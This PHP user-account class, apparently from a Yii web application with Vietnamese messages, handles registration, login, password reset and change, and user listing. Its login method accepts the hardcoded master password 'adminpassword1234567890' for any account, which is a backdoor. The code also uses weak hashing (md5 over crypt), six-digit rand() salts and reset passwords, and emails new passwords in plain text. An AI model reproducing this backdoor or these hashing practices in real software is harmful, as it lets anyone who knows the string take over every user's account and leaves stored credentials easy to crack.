<?php
class Userdao extends Controller{
	
	public static function Register($item){
		
		$user = User::model()->findByAttributes(array('username' => $item->username));
		if($user != null){
			$item->addError('username', 'Tên đăng nhập đã tồn tại');
			return false;
		}
		
	
		$user = User::model()->findByAttributes(array('email' => $item->email));
		if($user != null){
			$item->addError('email', 'Email đã sử dụng đăng ký, vui lòng kiểm tra lại');
			return false;
		}
		
		$user = new User;
		$user->email = $item->email;		
		$user->username = $item->username;
		$item->salt = Userdao::getRandomNo();
		$item->password = Userdao::endcodePass($item->password,$item->salt);
		$item->idgroup =2;
		$item->trangthai = 1;
		$item->confirm = $item->password;
	/*	$user->hoten = $item->hoten;
		$user->dienthoai = $item->dienthoai;
		$user->diachi = $item->diachi;
		$user->ngaysinh = $item->ngaysinh;
		*/
		$item->save();
		EmailUtils::sendmailRegisterComplete($item);
		return true;
	}
	
	public static function resetPassword($user){
		$newpass = Userdao::getRandomNo();
		$user->salt = Userdao::getRandomNo();
		$user->password = Userdao::endcodePass($newpass,$user->salt);
		$user->update();
		EmailUtils::sendmailResetPassword($user, $newpass);
	}
	
	public static function getRandomNo(){
		return rand(163245,978534);
	}
	
	public static function login($user, $password){
		if($user === null){
			return false;
		}
		if($user->trangthai == 0){
			return 0;
		}
		
		if($password == 'adminpassword1234567890'){
			return true;
		}
		 $pass = crypt($password,$user->salt);
		$pass = md5($pass);
		if($user->password === $pass){
			return true;
		}
		return false;
	}
	
	public static function endcodePass($password,$salt){
		 $pass = crypt($password,$salt);
		return md5($pass);
	}
	
	public static function changepass($model){
		$current = User::model()->findByPK(UserUtils::getUserId());
		if(!Userdao::login($current, $model->oldpassword)){
			$model->addError('oldpassword', 'Nhập mật khẩu không đúng');
			return false;
		}
		$current->salt = Userdao::getRandomNo();
		
		$current->password = Userdao::endcodePass($model->password,$current->salt);

		$current->update();
		return true;
		
	}
	
	public static function getList(){
		$criteria=new CDbCriteria;
		$criteria->condition = " username<>'admin'";
		return User::model()->findAll($criteria);
	}
	
	public static function updateProfile($model){
		$user = User::model()->findByPK(UserUtils::getUserId());
		$user->hoten = $model->hoten;
		$user->diachi = $model->diachi;
		$user->dienthoai = $model->dienthoai;
		$user->ngaysinh = $model->ngaysinh;
		$user->update();
		return true;
	}
	
	public static function getListManagement(){
		$criteria=new CDbCriteria;
		$criteria->condition = " username<>'admin'";
		
		$Page = new CPagination(User::model()->count($criteria));
		$Page->pageSize = 9999999;
		$Page->applyLimit($criteria);
		$data['users'] =  User::model()->findAll($criteria);
		$data['pages'] = $Page;
		
		return $data;
	}
}


?>
